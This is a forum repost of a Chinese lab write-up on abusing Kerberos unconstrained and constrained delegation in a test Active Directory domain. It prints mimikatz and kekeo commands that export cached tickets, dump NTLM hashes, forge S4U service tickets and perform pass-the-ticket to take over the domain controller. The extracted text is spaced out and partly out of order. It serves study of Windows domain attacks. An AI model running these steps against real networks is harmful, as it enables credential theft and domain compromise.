搜索

[2076] 2021-07-31_域渗透-Kerberos委派利用demo

文档创建者：s7ckTeam
浏览次数：114
最后更新：2025-01-16
2021-07-31_域渗透-Kerberos委派利用demo 域 渗 透 - K e r b e r o s 委 派 利 用 d e m o 原 创   d o n 9 s e c   d o n 9 s e c   2 0 2 1 - 0 7 - 3 1 收 录 于 话 题 # 实 操 练 习   , 6 # 内 网 渗 透   , 8 目 录 ： 目 录 ： 委 派 委 派 非 约 束 委 派 非 约 束 委 派 环 境 配 置 环 境 配 置 利 用 利 用 约 束 委 派 约 束 委 派 环 境 配 置 环 境 配 置 利 用 利 用 小 结 小 结 委 派 委 派 委 派 ( D e l e g a t i o n ) 是 一 种 让 用 户 可 以 委 托 服 务 器 代 表 自 己 与 其 他 服 务 进 行 验 证 的 功 能 ， 它 允 许 服 务 账 户 在 活 动 目 录 中 模 拟 其 他 域 用 户 身 份 ， 主 要 用 于 当 服 务 需 要 以 某 个 用 户 的 身 份 来 请 求 访 问 其 他 服 务 资 源 的 场 景 。 委 派 分 为 非 约 束 委 派 ， 传 统 的 约 束 委 派 以 及 基 于 资 源 的 约 束 委 派 ， 这 篇 文 章 主 要 复 现 非 约 束 委 派 和 约 束 委 派 的 利 用 。 非 约 束 委 派 非 约 束 委 派 环 境 配 置 环 境 配 置 域 控 ： A D 0 2 域 内 主 机 ： A T T A C K 配 置 非 约 束 委 派
该 设 置 意 味 着 ： 感 觉 基 于 非 约 束 委 派 的 攻 击 在 于 T G T ,   因 为 当 一 个 域 内 用 户 委 派 A T T A C K 去 访 问 其 他 服 务 时 ， 伴 随 发 生 的 是 该 用 户 对 应 的 T G T 也 会 被 缓 存 在 A T T A C K 的 L S A S S 中 ， 然 后 A T T A C K 将 利 用 该 T G T 模 拟 该 用 户 进 行 后 续 服 务 票 证 请 求 。 相 当 于 一 次 P T T 。 利 用 利 用 目 的 ： 梭 哈 域 控 前 提 ： 域 管 曾 访 问 ( 委 派 过 A T T A C K ) 场 景 ： W i n R M ( 本 次 测 试 采 用 ) M S S Q L I I S . . . 模 拟 域 管 用 户 委 派 A T T A C K ,   使 用 域 管 通 过 W i n R M 访 问 A T T A C K A T T A C K 可 以 接 受 任 意 用 户 的 委 派 去 请 求 任 意 服 务 。 #   A T T A C K 开 启 w i n r m 服 务 w i n r m   q u i c k c o n f i g   - q #   D C 远 程 访 问
此 时 A T T C K 上 已 经 缓 存 了 域 管 的 T G T 导 出 T i c k e t 此 时 已 经 成 功 拥 有 域 管 的 票 证 ， 模 拟 域 管 用 户 访 问 域 控 坑 1 ： 为 什 么 用 主 机 名 访 问 失 败 但 是 用 I P 访 问 却 成 功 了 ？ 成 功 访 问 域 控 E n t e r - P S S e s s i o n   - C o m p u t e r N a m e   A T T A C K #   m i m i k a t z #   导 出 内 存 中 的 T i c k e t s e k u r l s a : : t i c k e t s   / e x p o r t #   P T T 即 可 k e r b e r o s : : p t t   [ 0 ; 3 e 7 ] - 2 - 1 - 4 0 e 1 0 0 0 0 - A T T A C K $ @ k r b t g t - A D C S . L A B . k i r b #   查 看 本 地 的 缓 存 的 T i c k e t k l i s t
利 用 p s e x e c 横 向 到 域 控 坑 2 ： 利 用 主 机 名 又 失 败 ？ 最 后 成 功 拿 下 域 控 约 束 委 派 约 束 委 派 上 面 为 了 缓 解 上 面 提 到 的 非 约 束 委 派 的 带 来 的 问 题 ， 微 软 通 过   引 入 了   S 4 U ( S 4 U 2 S e l f   /   S 4 U 2 p r o x y )   对 K e r b e r o s 协 议 进 行 扩 展 ， 其 主 要 作 用 就 是 在 模 拟 用 户 的 同 时 ， 限 制 委 派 机 器 / 帐 户 对 特 定 服 务 的 访 问 。
环 境 配 置 环 境 配 置 域 控 ： A D 0 2 域 内 主 机 ： A T T A C K 配 置 约 束 委 派 该 设 置 意 味 着 利 用 利 用 前 提 ： 需 要 知 道 A T T A C K 主 机 账 户 的 N T L M   H a s h 值 或 密 码 抓 取 主 机 账 户 的   N T L M   H a s h   值 域 控 A D 0 2 的 c i f s 可 以 被 A T T A C K 所 委 派 p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s   f u l l
找 到 主 机 账 户 A T T A C K $ N T L M   H a s h 使 用 k e k e o 申 请 T G T 使 用 该 T G T 通 过 s 4 u 伪 造 a d m i n i s t r a t o r @ a d c s . l a b 去 访 问 A D 0 2 的 c i f s 服 务 t g t : : a s k   / u s e r : A T T A C K $   / d o m a i n : a d c s . l a b   / n t l m : 1 8 9 5 e 2 7 1 6 8 3 6 b 3 3 4 4 f 5 b a c 9 e 5 c 1 b 0 2 c 9
这 时 在 该 目 录 下 生 成 了   c i f s 的 T G S 票 据 通 过 m i m i k a t z 使 用 c i f s 的 T G S 票 据 进 行 P T T 成 功 获 得 域 控 的 访 问 权 限 小 结 小 结 本 篇 文 章 主 要 为 了 了 解 委 派 的 基 本 利 用 方 式 ， 先 从 原 理 跳 脱 出 来 搞 清 楚 它 是 什 么 ， 然 后 再 根 据 相 关 利 用 场 景 结 合 理 论 去 学 习 为 什 么 。 参 考 ： h t t p s : / / y 4 e r . c o m / t g s : : s 4 u   / t g t : T G T _ A T T A C K $ @ A D C S . L A B _ k r b t g t ~ a d c s . l a b @ A D C S . L A B . k i r b i   / u s e r : a d m i n i s t r a t o r   / s e r v i c e : c i f s / A D 0 2 . A D C S . L A B k e r b e r o s : : p t t   T G S _ a d m i n i s t r a t o r @ A D C S . L A B _ c i f s ~ A D 0 2 . A D C S . L A B @ A D C S . L A B . k i r b i

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理